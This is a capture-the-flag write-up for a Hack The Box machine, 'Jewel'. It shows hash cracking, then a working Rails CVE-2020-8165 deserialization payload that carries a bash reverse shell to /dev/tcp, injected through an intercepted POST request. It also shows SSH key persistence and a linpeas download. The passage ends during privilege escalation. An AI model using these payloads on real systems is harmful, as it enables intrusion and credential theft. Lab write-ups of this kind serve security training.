# Jewel Writeup

![](img/62.png)

## Introduction :

Jewel is a Medium box released back in October 2020.

## **Part 1 : Initial Enumeration**

As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions.
    
    
    [ 10.10.14.11/23 ] [ /dev/pts/3 ] [~/HTB/jewel]
    → nmap -vvv -p- 10.10.10.211 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered
    Discovered open port 22/tcp on 10.10.10.211
    Discovered open port 8080/tcp on 10.10.10.211
    Discovered open port 8000/tcp on 10.10.10.211
    
    [ 10.10.14.11/23 ] [ /dev/pts/3 ] [~/HTB/jewel]
    → nmap -sCV -p 22,8080,8000 10.10.10.211 -Pn
    Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
    Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-28 07:30 CEST
    Nmap scan report for 10.10.10.211
    Host is up (0.47s latency).
    
    PORT     STATE SERVICE VERSION
    22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
    | ssh-hostkey:
    |   2048 fd:80:8b:0c:73:93:d6:30:dc:ec:83:55:7c:9f:5d:12 (RSA)
    |   256 61:99:05:76:54:07:92:ef:ee:34:cf:b7:3e:8a:05:c6 (ECDSA)
    |_  256 7c:6d:39:ca:e7:e8:9c:53:65:f7:e2:7e:c7:17:2d:c3 (ED25519)
    8000/tcp open  http    Apache httpd 2.4.38
    |_http-generator: gitweb/2.20.1 git/2.20.1
    | http-open-proxy: Potentially OPEN proxy.
    |_Methods supported:CONNECTION
    |_http-server-header: Apache/2.4.38 (Debian)
    | http-title: 10.10.10.211 Git
    |_Requested resource was http://10.10.10.211:8000/gitweb/
    8080/tcp open  http    nginx 1.14.2 (Phusion Passenger 6.0.6)
    |_http-server-header: nginx/1.14.2 + Phusion Passenger 6.0.6
    |_http-title: BL0G!
    Service Info: Host: jewel.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 29.39 seconds
    
    

## **Part 2 : Getting User Access**

Our nmap scan picked up port 8000 with an interesting url **http://10.10.10.211:8000/gitweb/** so let's investigate it:

![](prg/62_001.png)

Click on **snapshot** so we can download the sourcecode and decompress it:
    
    
    [ 10.10.14.11/23 ] [ /dev/pts/3 ] [~/HTB/jewel]
    → mv ~/Downloads/git-5d6f436.tar.gz .
    
    [ 10.10.14.11/23 ] [ /dev/pts/3 ] [~/HTB/jewel]
    → tar -zxvf git-5d6f436.tar.gz
    
    [ 10.10.14.11/23 ] [ /dev/pts/3 ] [~/HTB/jewel]
    → cd .git-5d6f436
    
    [ 10.10.14.11/23 ] [ /dev/pts/3 ] [HTB/jewel/.git-5d6f436]
    → tree .
    .
    ├── app
    │   ├── assets
    │   │   ├── config
    │   │   │   └── manifest.js
    │   │   ├── images
    │   │   │   ├── about.jpg
    │   │   │   ├── bg_1.jpg
    │   │   │   ├── image_1.jpg
    │   │   │   ├── image_2.jpg
    │   │   │   ├── image_3.jpg
    │   │   │   ├── image_4.jpg
    │   │   │   ├── image_5.jpg
    │   │   │   ├── image_6.jpg
    │   │   │   ├── image_7.jpg
    │   │   │   ├── image_8.jpg
    │   │   │   ├── image_9.jpg
    │   │   │   ├── loc.png
    │   │   │   ├── person_1.jpg
    │   │   │   ├── person_2.jpg
    │   │   │   ├── person_3.jpg
    │   │   │   ├── person_4.jpg
    │   │   │   ├── person_5.jpg
    │   │   │   ├── person_6.jpg
    │   │   │   ├── person_7.jpg
    │   │   │   └── person_8.jpg
    │   │   ├── javascripts
    │   │   │   ├── application.js
    │   │   │   ├── cable.js
    │   │   │   └── channels
    │   │   └── stylesheets
    │   │       ├── application.scss
    │   │       ├── articles.scss
    │   │       ├── bootstrap.min.css
    │   │       ├── custom.scss
    │   │       └── home.scss
    │   ├── channels
    │   │   └── application_cable
    │   │       ├── channel.rb
    │   │       └── connection.rb
    │   ├── controllers
    │   │   ├── application_controller.rb
    │   │   ├── articles_controller.rb
    │   │   ├── concerns
    │   │   ├── home_controller.rb
    │   │   ├── sessions_controller.rb
    │   │   └── users_controller.rb
    │   ├── helpers
    │   │   ├── application_helper.rb
    │   │   ├── articles_helper.rb
    │   │   └── home_helper.rb
    │   ├── jobs
    │   │   └── application_job.rb
    │   ├── mailers
    │   │   └── application_mailer.rb
    │   ├── models
    │   │   ├── application_record.rb
    │   │   ├── article.rb
    │   │   ├── comment.rb
    │   │   ├── concerns
    │   │   └── user.rb
    │   └── views
    │       ├── articles
    │       │   ├── edit.html.erb
    │       │   ├── _form.html.erb
    │       │   ├── index.html.erb
    │       │   ├── new.html.erb
    │       │   └── show.html.erb
    │       ├── home
    │       │   └── index.html.erb
    │       ├── layouts
    │       │   ├── application.html.erb
    │       │   ├── mailer.html.erb
    │       │   ├── mailer.text.erb
    │       │   └── _navigation.html.erb
    │       ├── sessions
    │       │   ├── _form.html.erb
    │       │   └── new.html.erb
    │       ├── shared
    │       │   ├── _article_errors.html.erb
    │       │   ├── _messages.html.erb
    │       │   └── _user_errors.html.erb
    │       └── users
    │           ├── edit.html.erb
    │           ├── _form.html.erb
    │           ├── index.html.erb
    │           ├── new.html.erb
    │           └── show.html.erb
    ├── bd.sql
    ├── bin
    │   ├── bundle
    │   ├── rails
    │   ├── rake
    │   ├── setup
    │   ├── update
    │   └── yarn
    ├── config
    │   ├── application.rb
    │   ├── boot.rb
    │   ├── cable.yml
    │   ├── environment.rb
    │   ├── environments
    │   │   ├── development.rb
    │   │   ├── production.rb
    │   │   └── test.rb
    │   ├── initializers
    │   │   ├── application_controller_renderer.rb
    │   │   ├── assets.rb
    │   │   ├── backtrace_silencers.rb
    │   │   ├── content_security_policy.rb
    │   │   ├── cookies_serializer.rb
    │   │   ├── filter_parameter_logging.rb
    │   │   ├── inflections.rb
    │   │   ├── mime_types.rb
    │   │   ├── session_store.rb
    │   │   ├── will_paginate.rb
    │   │   └── wrap_parameters.rb
    │   ├── locales
    │   │   └── en.yml
    │   ├── puma.rb
    │   ├── routes.rb
    │   ├── spring.rb
    │   ├── storage.yml
    │   ├── webpack
    │   │   ├── development.js
    │   │   ├── environment.js
    │   │   ├── production.js
    │   │   └── test.js
    │   └── webpacker.yml
    ├── config.ru
    ├── db
    │   ├── schema.rb
    │   └── seeds.rb
    ├── Gemfile
    ├── Gemfile.lock
    ├── lib
    │   ├── assets
    │   └── tasks
    ├── log
    ├── package.json
    ├── public
    │   ├── 404.html
    │   ├── 422.html
    │   ├── 500.html
    │   ├── apple-touch-icon.png
    │   ├── apple-touch-icon-precomposed.png
    │   ├── favicon.ico
    │   └── robots.txt
    ├── Rakefile
    ├── README.md
    ├── storage
    ├── test
    │   ├── application_system_test_case.rb
    │   ├── controllers
    │   ├── fixtures
    │   │   └── files
    │   ├── helpers
    │   ├── integration
    │   ├── mailers
    │   ├── models
    │   ├── system
    │   └── test_helper.rb
    ├── tmp
    └── vendor
    
    47 directories, 116 files
    

One of the interesting files in here is **bd.sql** and after looking into it we see 2 usernames with their hashed passwords: 
    
    
    [ 10.10.14.11/23 ] [ /dev/pts/3 ] [HTB/jewel/.git-5d6f436]
    → cat bd.sql | grep jennifer
    2       jennifer        jennifer@mail.htb       2020-08-25 08:54:42.8483        2020-08-25 08:54:42.8483        $2a$12$ik.0o.TGRwMgUmyOR.Djzuyb/hjisgk2vws1xYC/hxw8M1nFk0MQy
    
    [ 10.10.14.11/23 ] [ /dev/pts/3 ] [HTB/jewel/.git-5d6f436]
    → cat bd.sql | grep bill
    1       bill    bill@mail.htb   2020-08-25 08:13:58.662464      2020-08-25 08:13:58.662464      $2a$12$uhUssB8.HFpT4XpbhclQU.Oizufehl9qqKtmdxTXetojn2FcNncJW
    

So after trying to crack them with **john**
    
    
    john hashes.txt --format=bcrypt --wordlist=/usr/share/wordlists/passwords/rockyou.txt 
    
    

We couldn't get jennifer's password but we did get bill's password: **bill:spongebob** , now obviously this is the repository of the blog website on port 8080: 
    
    
    [ 10.10.14.11/23 ] [ /dev/pts/3 ] [HTB/jewel/.git-5d6f436]
    → grep -ri 8080
    config/puma.rb:port        ENV.fetch("PORT") { 8080 }
    
    

` ![](prg/62_002.png)

So let's create an account at the **/signup** page: 

![](prg/62_003.png)

Then we login at the **/login** page:

![](prg/62_004.png)

Once we're logged in we can't change much of our account, we get to this **/users/18/edit** URL

![](prg/62_003.png)

Now in order to proceed here we need to install a ruby version that matches the one specified in the gemfile:
    
    
    [ 10.10.14.11/23 ] [ /dev/pts/3 ] [HTB/jewel/.git-5d6f436]
    → cat Gemfile
    source 'https://rubygems.org'
    git_source(:github) { |repo| "https://github.com/#{repo}.git" }
    
    ruby '2.5.5'
    
    # Bundle edge Rails instead: gem 'rails', github: 'rails/rails'
    gem 'rails', '= 5.2.2.1'
    # Use postgresql as the database for Active Record
    gem 'pg', '>= 0.18', '< 2.0'
    # Use Puma as the app server
    gem 'puma', '~> 3.11'
    # Use SCSS for stylesheets
    gem 'sass-rails', '~> 5.0'
    # Use Uglifier as compressor for JavaScript assets
    gem 'uglifier', '>= 1.3.0'
    # See https://github.com/rails/execjs#readme for more supported runtimes
    # gem 'mini_racer', platforms: :ruby
    
    # Use CoffeeScript for .coffee assets and views
    gem 'coffee-rails', '~> 4.2'
    # Turbolinks makes navigating your web application faster. Read more: https://github.com/turbolinks/turbolinks
    gem 'turbolinks', '~> 5'
    # Build JSON APIs with ease. Read more: https://github.com/rails/jbuilder
    gem 'jbuilder', '~> 2.5'
    # Use Redis adapter to run Action Cable in production
    gem 'redis', '~> 4.0'
    # Use ActiveModel has_secure_password
    gem 'bcrypt', '~> 3.1.7'
    
    # Use ActiveStorage variant
    # gem 'mini_magick', '~> 4.8'
    
    # Use Capistrano for deployment
    # gem 'capistrano-rails', group: :development
    
    # Reduces boot times through caching; required in config/boot.rb
    gem 'bootsnap', '>= 1.1.0', require: false
    
    gem 'jquery-rails', '= 4.3.3'
    gem 'bootstrap', '~> 4.5.0'
    gem 'popper_js', '1.16.0'
    
    gem 'will_paginate', '3.3.0'
    gem 'bootstrap-will_paginate', '1.0.0'
    
    group :development, :test do
      # Call 'byebug' anywhere in the code to stop execution and get a debugger console
      gem 'byebug', platforms: [:mri, :mingw, :x64_mingw]
    end
    
    group :development do
      # Access an interactive console on exception pages or by calling 'console' anywhere in the code.
      gem 'web-console', '>= 3.3.0'
      gem 'listen', '>= 3.0.5', '<****3.2'
      # Spring speeds up development by keeping your application running in the background. Read more: https://github.com/rails/spring
      gem 'spring'
      gem 'spring-watcher-listen', '~> 2.0.0'
    end
    
    group :test do
      # Adds support for Capybara system testing and selenium driver
      gem 'capybara', '>= 2.15'
      gem 'selenium-webdriver'
      # Easy installation and use of chromedriver to run system tests with Chrome
      gem 'chromedriver-helper'
    end
    
    # Windows does not include zoneinfo files, so bundle the tzinfo-data gem
    gem 'tzinfo-data', platforms: [:mingw, :mswin, :x64_mingw, :jruby]

Now what this file tells us is basically what we need to install this app, similar to requirements.txt for python projects. 
    
    
    [ 10.10.14.11/23 ] [ /dev/pts/3 ] [HTB/jewel/.git-5d6f436]
    → bundle outdated
    Traceback (most recent call last):
            2: from /usr/bin/bundle:23:in `'
            1: from /usr/lib/ruby/vendor_ruby/rubygems.rb:300:in `activate_bin_path'
    /usr/lib/ruby/vendor_ruby/rubygems.rb:281:in `find_spec_for_exe': Could not find 'bundler' (1.17.3) required by your /home/nothing/HTB/jewel/.git-5d6f436/Gemfile.lock. (Gem::GemNotFoundException)
    To update to the latest version installed on your system, run `bundle update --bundler`.
    To install the missing version, run `gem install bundler:1.17.3`
    

We're also going to need **brakeman** to analyse the ruby project further, so let's install it with **gem** : 
    
    
    [ 10.10.14.11/23 ] [ /dev/pts/19 ] [~/HTB/jewel]
    → which gem
    /usr/bin/gem
    
    [ 10.10.14.11/23 ] [ /dev/pts/19 ] [~/HTB/jewel]
    → sudo gem install brakeman
    [sudo] password for nothing:
    Fetching brakeman-5.0.4.gem
    Successfully installed brakeman-5.0.4
    Parsing documentation for brakeman-5.0.4
    Installing ri documentation for brakeman-5.0.4
    Done installing documentation for brakeman after 2 seconds
    1 gem installed
    
    [ 10.10.14.11/23 ] [ /dev/pts/19 ] [~/HTB/jewel]
    → cd .git-5d6f436
    
    [ 10.10.14.11/23 ] [ /dev/pts/19 ] [HTB/jewel/.git-5d6f436]
    → brakeman
    
    [...]
    
     - CheckXMLDoS
     - CheckYAMLParsing
    Checks finished, collecting results...
    Generating report...
    
    == Brakeman Report ==
    
    Application Path: /home/nothing/HTB/jewel/.git-5d6f436
    **Rails Version: 5.2.2.1**
    Brakeman Version: 5.0.4
    Scan Date: 2021-06-29 15:05:57 +0200
    Duration: 0.394887467 seconds
    Checks Run: BasicAuth, BasicAuthTimingAttack, CSRFTokenForgeryCVE, ContentTag, CookieSerialization, CreateWith, CrossSiteScripting, DefaultRoutes, Deserialize, DetailedExceptions, DigestDoS, DynamicFinders, EscapeFunction, Evaluation, Execute, FileAccess, FileDisclosure, FilterSkipping, ForgerySetting, HeaderDoS, I18nXSS, JRubyXML, JSONEncoding, JSONEntityEscape, JSONParsing, LinkTo, LinkToHref, MailTo, MassAssignment, MimeTypeDoS, ModelAttrAccessible, ModelAttributes, ModelSerialize, NestedAttributes, NestedAttributesBypass, NumberToCurrency, PageCachingCVE, PermitAttributes, QuoteTableName, Redirect, RegexDoS, Render, RenderDoS, RenderInline, ResponseSplitting, RouteDoS, SQL, SQLCVEs, SSLVerify, SafeBufferManipulation, SanitizeMethods, SelectTag, SelectVulnerability, Send, SendFile, SessionManipulation, SessionSettings, SimpleFormat, SingleQuotes, SkipBeforeFilter, SprocketsPathTraversal, StripTags, SymbolDoSCVE, TemplateInjection, TranslateBug, UnsafeReflection, UnsafeReflectionMethods, ValidationRegex, VerbConfusion, WithoutProtection, XMLDoS, YAMLParsing
    
    == Overview ==
    
    Controllers: 5
    Models: 4
    Templates: 19
    Errors: 0
    Security Warnings: 1
    
    == Warning Types ==
    
    Cross-Site Request Forgery: 1
    
    == Warnings ==
    
    Confidence: Medium
    Category: Cross-Site Request Forgery
    Check: CSRFTokenForgeryCVE
    Message: Rails 5.2.2.1 has a vulnerability that may allow CSRF token forgery. Upgrade to Rails 5.2.4.3 or patch
    File: Gemfile.lock
    Line: 124
    
    
    

Now if we go by what brakeman tells us, there is only a Cross Site Forgery CVE. So that's why there were less than 2500 roots of this box overall, the initial foothold is hard to even spot, brakeman does not help us here. But the trick here was to spot the **Rails version** which is 5.2.2.1, and this is severely out of date as you can see [here](https://rubygems.org/gems/rails/versions):

![](prg/62_006.png)

So we look for CVEs [here](https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=rails):

![](prg/62_007.png)

So we take a look at **CVE-2020-8165** , which is about a deserialization attack on untrusted data which exists in rails **5.2.4.3** and backwards, and basically it allows an attacker to unmarshal user-provided objects in the **MemCacheStore** and **RedisCacheStore** to result in a RCE to get us a reverse shell. So after a bit of googling we stumble upon [this](https://github.com/masahiro331/CVE-2020-8165) repository:

![](prg/62_008.png)

Now here in red you can see the serialized payload, but now the question is will this box's ruby project be vulnerable to that particular deserialization attack ? To find out we take a look at the reference google link at the bottom of the repository:

![](prg/62_009.png)

Now we know what makes this CVE possible, it's the **raw: true** parameter which allows the attacker to write to the cache (redis cache or memcached) and potentially get Remote Code Execution, so let's check out if the current rails project has any of the raw: true parameters:
    
    
    [ 10.10.14.11/23 ] [ /dev/pts/19 ] [HTB/jewel/.git-5d6f436]
    → grep -Ri 'cache.fetch' .
    ./app/controllers/application_controller.rb:      @current_username = cache.fetch("username_#{session[:user_id]}", raw: true) do
    ./app/controllers/users_controller.rb:      @current_username = cache.fetch("username_#{session[:user_id]}", raw: true) {user_params[:username]}
    
    [ 10.10.14.11/23 ] [ /dev/pts/19 ] [HTB/jewel/.git-5d6f436]
    → grep -Ri 'raw: true' .
    ./app/controllers/application_controller.rb:      @current_username = cache.fetch("username_#{session[:user_id]}", raw: true) do
    ./app/controllers/users_controller.rb:      @current_username = cache.fetch("username_#{session[:user_id]}", raw: true) {user_params[:username]}
    
    

Let's see in which context the first one is being used:

![](prg/62_010.png)

Apparently, in the context of when we try to change the current username we are currently logged in the application, we should be able to inject a serialized object since the **raw: true** parameter is being used into the **cache.fetch()** function. Now in order to continue we need to install rails ourselves:
    
    
    [ 10.66.66.2/32 ] [ /dev/pts/5 ] [~/HTB/jewel]
    → sudo apt install rails -y
    
    

Now we need to create a rails project:
    
    
    [ 10.10.14.11/23 ] [ /dev/pts/19 ] [HTB/jewel/.git-5d6f436]
    → cd ..
    
    [ 10.10.14.11/23 ] [ /dev/pts/19 ] [~/HTB/jewel]
    → rails new exploit
    
    [ 10.10.14.11/23 ] [ /dev/pts/19 ] [~/HTB/jewel]
    → rails new exploit
          create
          create  README.md
          create  Rakefile
          create  .ruby-version
          create  config.ru
          create  .gitignore
          create  Gemfile
             run  git init from "."
    hint: Using 'master' as the name for the initial branch. This default branch name
    hint: is subject to change. To configure the initial branch name to use in all
    hint: of your new repositories, which will suppress this warning, call:
    hint:
    hint:   git config --global init.defaultBranch 
    hint:
    hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and
    hint: 'development'. The just-created branch can be renamed via this command:
    hint:
    hint:   git branch -m name
    Initialized empty Git repository in /home/nothing/HTB/jewel/exploit/.git/
          create  package.json
          create  app
    [...]
    
    

This will create the **exploit** directory, once it's done running we can get a ruby prompt, we can do it with the same command the CVE github repo advised us to do with **bundle exec rails console** or just **rails console** :
    
    
    [...]
    
    ├─ webpack-dev-server@3.11.2
    ├─ websocket-driver@0.7.4
    ├─ websocket-extensions@0.1.4
    └─ ws@6.2.2
    Done in 19.44s.
    Webpacker successfully installed 🎉 🍰
    
    
    [ 10.10.14.11/23 ] [ /dev/pts/19 ] [~/HTB/jewel]
    → cd exploit
    
    [ 10.10.14.11/23 ] [ /dev/pts/19 ] [HTB/jewel/exploit]
    → rails console
    Running via Spring preloader in process 3266829
    Loading development environment (Rails 6.0.3.5)
    irb(main):001:0>
    
    

Now from our rails console, we generate the payload like so: 
    
    
    code = '`bash -c "bash -i >& /dev/tcp/10.10.14.11/9001 0>&1"`'
    erb = ERB.allocate
    erb.instance_variable_set :@src, code
    erb.instance_variable_set :@filename, "1"
    erb.instance_variable_set :@lineno, 1
    payload=Marshal.dump(ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result)
    
    

With the output of each commands we get the following: 
    
    
    [ 10.10.14.11/23 ] [ /dev/pts/19 ] [HTB/jewel/exploit]
    → rails console
    Running via Spring preloader in process 3266829
    Loading development environment (Rails 6.0.3.5)
    irb(main):001:0> code = '`bash -c "bash -i >& /dev/tcp/10.10.14.11/9001 0>&1"`'
    => "`bash -c \"bash -i >& /dev/tcp/10.10.14.11/9001 0>&1\"`"
    irb(main):002:0> erb = ERB.allocate
    => #ERB:0x000055e564a39130>
    irb(main):003:0> erb.instance_variable_set :@src, code
    => "`bash -c \"bash -i >& /dev/tcp/10.10.14.11/9001 0>&1\"`"
    irb(main):004:0> erb.instance_variable_set :@filename, "1"
    => "1"
    irb(main):005:0> erb.instance_variable_set :@lineno, 1
    => 1
    irb(main):006:0> payload=Marshal.dump(ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result)
    => "\x04\bo:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\t:\x0E@instanceo:\bERB\b:\t@srcI\":`bash -c \"bash -i >& /dev/tcp/10.10.14.11/9001 0>&1\"`\x06:\x06ET:\x0E@filenameI\"\x061\x06;\tT:\f@linenoi\x06:\f@method:\vresult:...
    irb(main):007:0> payload
    => "\x04\bo:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\t:\x0E@instanceo:\bERB\b:\t@srcI\":`bash -c \"bash -i >& /dev/tcp/10.10.14.11/9001 0>&1\"`\x06:\x06ET:\x0E@filenameI\"\x061\x06;\tT:\f@linenoi\x06:\f@method:\vresult:\t@varI\"\f@result\x06;\tT:\x10@deprecatorIu:\x1FActiveSupport::Deprecation\x00\x06;\tT"
    

So now we generated the serialized payload, but we need to URL encode it with the following command: 
    
    
    irb(main):009:0> puts URI.encode_www_form(payload: payload)
    payload=%04%08o%3A%40ActiveSupport%3A%3ADeprecation%3A%3ADeprecatedInstanceVariableProxy%09%3A%0E%40instanceo%3A%08ERB%08%3A%09%40srcI%22%3A%60bash+-c+%22bash+-i+%3E%26+%2Fdev%2Ftcp%2F10.10.14.11%2F9001+0%3E%261%22%60%06%3A%06ET%3A%0E%40filenameI%22%061%06%3B%09T%3A%0C%40linenoi%06%3A%0C%40method%3A%0Bresult%3A%09%40varI%22%0C%40result%06%3B%09T%3A%10%40deprecatorIu%3A%1FActiveSupport%3A%3ADeprecation%00%06%3B%09T
    
    

And now we have our complete serialized, url encoded payload, that we will use to inject the POST request username parameter we interecept with burpsuite. 

![](prg/62_011.png)

So right now we have this POST request:
    
    
    POST /users/18 HTTP/1.1
    Host: 10.10.10.211:8080
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: http://10.10.10.211:8080/users/18/edit
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 187
    Origin: http://10.10.10.211:8080
    Connection: close
    Cookie: _session_id=a5fa81a5202880405479de4a764d913d
    Upgrade-Insecure-Requests: 1
    
    utf8=%E2%9C%93&_method=patch&authenticity;_token=eSnVB8zuZnsjZk74kI25qdzauohSxBocGvXuNgM%2BQTQ5WQQg2mgZXL4N0oVkYX54bsCXWL%2BpbxHykU9E4f2S8A%3D%3D&user;%5B**username%5D=nihilist** &commit;=Update+User
    
    

And we want to inject the **username=** parameter with our payload: 
    
    
    POST /users/18 HTTP/1.1
    Host: 10.10.10.211:8080
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: http://10.10.10.211:8080/users/18/edit
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 187
    Origin: http://10.10.10.211:8080
    Connection: close
    Cookie: _session_id=a5fa81a5202880405479de4a764d913d
    Upgrade-Insecure-Requests: 1
    
    utf8=%E2%9C%93&_method=patch&authenticity;_token=eSnVB8zuZnsjZk74kI25qdzauohSxBocGvXuNgM%2BQTQ5WQQg2mgZXL4N0oVkYX54bsCXWL%2BpbxHykU9E4f2S8A%3D%3D&user;%5B**username%5D=%04%08o%3A%40ActiveSupport%3A%3ADeprecation%3A%3ADeprecatedInstanceVariableProxy%09%3A%0E%40instanceo%3A%08ERB%08%3A%09%40srcI%22%3A%60bash+-c+%22bash+-i+%3E%26+%2Fdev%2Ftcp%2F10.10.14.11%2F9001+0%3E%261%22%60%06%3A%06ET%3A%0E%40filenameI%22%061%06%3B%09T%3A%0C%40linenoi%06%3A%0C%40method%3A%0Bresult%3A%09%40varI%22%0C%40result%06%3B%09T%3A%10%40deprecatorIu%3A%1FActiveSupport%3A%3ADeprecation%00%06%3B%09T** &commit;=Update+User
    

Now we can just forward this from the proxy tab without any problem and we see the following:

![](prg/62_012.png)

Now to trigger the exploit we need to press ENTER on the url above and only then do we get a reverse shell connection back to us:
    
    
    [ 10.10.14.11/23 ] [ /dev/pts/18 ] [HTB/jewel/exploit]
    → nc -lvnp 9001
    listening on [any] 9001 ...
    connect to [10.10.14.11] from (UNKNOWN) [10.10.10.211] 51560
    bash: cannot set terminal process group (802): Inappropriate ioctl for device
    bash: no job control in this shell
    bill@jewel:~/blog$ id
    id
    uid=1000(bill) gid=1000(bill) groups=1000(bill)
    
    bill@jewel:~/blog$ cd ..
    
    bill@jewel:~$ pwd
    pwd
    /home/bill
    
    bill@jewel:~$ cat user.txt
    cat user.txt
    5eXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    
    

And here you see that we managed to get a reverse shell as the bill user, from which we managed to get the user flag. 

## **Part 3 : Getting Root Access**

Before we enumerate the box let's spawn a fully interactive TTY: 
    
    
    bill@jewel:~$ which python python3 wget curl
    which python python3 wget curl
    /usr/bin/python
    /usr/bin/python3
    /usr/bin/wget
    bill@jewel:~$ python3 -c 'import pty; pty.spawn("/bin/bash")'
    python3 -c 'import pty; pty.spawn("/bin/bash")'
    bill@jewel:~$ ^Z
    [1]  + 3559593 suspended  nc -lvnp 9001
    
    [ 10.10.14.11/23 ] [ /dev/pts/18 ] [HTB/jewel/exploit]
    → stty raw -echo ; fg
    [1]  + 3559593 continued  nc -lvnp 9001
                                           export TERM=screen-256color
    bill@jewel:~$ export SHELL=bash
    bill@jewel:~$ stty rows 50 columns 200
    bill@jewel:~$ reset
    
    

Now we could stay in the reverse shell or we could add our public SSH key to the box to SSH in as the user bill more easily:
    
    
    [terminal 1]
    [ 10.10.14.11/23 ] [ /dev/pts/25 ] [~/HTB/jewel]
    → cat ~/.ssh/mainpc.pub
    ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAfhgjcMFy5mO4fwhQyW6vdX5bgTzqZTh9MhCW7+k6Sj nothing@nowhere
    
    [terminal 2]
    bill@jewel:~$ mkdir ~/.ssh/
    bill@jewel:~$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAfhgjcMFy5mO4fwhQyW6vdX5bgTzqZTh9MhCW7+k6Sj nothing@nowhere' >> ~/.ssh/authorized_keys
    
    [terminal 1]
    [ 10.10.14.11/23 ] [ /dev/pts/23 ] [~/HTB/jewel]
    → ssh bill@10.10.10.211 -i ~/.ssh/mainpc
    Linux jewel.htb 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64
    
    The programs included with the Debian GNU/Linux system are free software;
    the exact distribution terms for each program are described in the
    individual files in /usr/share/doc/*/copyright.
    
    Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
    permitted by applicable law.
    Last login: Thu Sep 17 22:33:04 2020
    bill@jewel:~$ id
    uid=1000(bill) gid=1000(bill) groups=1000(bill)
    
    

Now let's run linpeas.sh onto the box to enumerate it: 
    
    
    [terminal 1]
    [ 10.66.66.2/32 ] [ /dev/pts/5 ] [~/HTB/jewel]
    → cp /home/nothing/HTB/passage/linpeas.sh .
    
    [ 10.66.66.2/32 ] [ /dev/pts/5 ] [~/HTB/jewel]
    → python3 -m http.server 9090
    Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
    
    [terminal 2]
    bill@jewel:~$ wget http://10.10.14.11:9090/linpeas.sh -O /tmp/peas.sh
    --2021-06-29 16:52:41--  http://10.10.14.11:9090/linpeas.sh
    Connecting to 10.10.14.11:9090... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 341863 (334K) [text/x-sh]
    Saving to: ‘/tmp/peas.sh’
    
    /tmp/peas.sh                                      100%[=============================================================================================================>] 333.85K   174KB/s    in 1.9s    od
    
    2021-06-29 16:52:44 (174 KB/s) - ‘/tmp/peas.sh’ saved [341863/341863]
    
    bill@jewel:~$ chmod +x /tmp/peas.sh
    bill@jewel:~$ /tmp/peas.sh
    
    

` ![](prg/62_013.png)

Let linpeas.sh run and then when it's done we first see that we got a few hashes to crack: 

![](prg/62_014.png)
    
    
    /var/backups/dump_2020-08-27.sql:$2a$12$sZac9R2VSQYjOcBTTUYy6.Zd.5I02OnmkKnD3zA6MqMrzLKz0jeDO
    /var/backups/dump_2020-08-27.sql:$2a$12$QqfetsTSBVxMXpnTR.JfUeJXcJRHv5D5HImL0EHI7OzVomCrqlRxW
    /home/bill/blog/bd.sql:$2a$12$uhUssB8.HFpT4XpbhclQU.Oizufehl9qqKtmdxTXetojn2FcNncJW
    /home/bill/blog/bd.sql:$2a$12$ik.0o.TGRwMgUmyOR.Djzuyb/hjisgk2vws1xYC/hxw8M1nFk0MQy
    
    bill@jewel:~$ grep 2a /var/backups/dump*
    2       jennifer        jennifer@mail.htb       2020-08-27 05:44:28.551735      2020-08-27 05:44:28.551735      $2a$12$sZac9R2VSQYjOcBTTUYy6.Zd.5I02OnmkKnD3zA6MqMrzLKz0jeDO
    1       bill    bill@mail.htb   2020-08-26 10:24:03.878232      2020-08-27 09:18:11.636483      $2a$12$QqfetsTSBVxMXpnTR.JfUeJXcJRHv5D5HImL0EHI7OzVomCrqlRxW
    

After running grep we see that we will probably need to privesc to the jennifer user. 
    
    
    [terminal 1]
    bill@jewel:~$ grep 2a /var/backups/dump* | awk '{print $2":"$8}'
    jennifer:$2a$12$sZac9R2VSQYjOcBTTUYy6.Zd.5I02OnmkKnD3zA6MqMrzLKz0jeDO
    bill:$2a$12$QqfetsTSBVxMXpnTR.JfUeJXcJRHv5D5HImL0EHI7OzVomCrqlRxW
    
    [terminal 2]
    [ 10.10.14.11/23 ] [ /dev/pts/22 ] [~/HTB/jewel]
    → cat hashes.txt
    jennifer:$2a$12$sZac9R2VSQYjOcBTTUYy6.Zd.5I02OnmkKnD3zA6MqMrzLKz0jeDO
    bill:$2a$12$QqfetsTSBVxMXpnTR.JfUeJXcJRHv5D5HImL0EHI7OzVomCrqlRxW
    
    

With this file we can crack the hashes locally with john, however before we do so let's grab all the hashes we can on the box: 
    
    
    bill@jewel:~$ grep 2a /home/bill/blog/bd.sql | awk '{print $2":"$8}'
    test333333:\N
    bill:$2a$12$uhUssB8.HFpT4XpbhclQU.Oizufehl9qqKtmdxTXetojn2FcNncJW
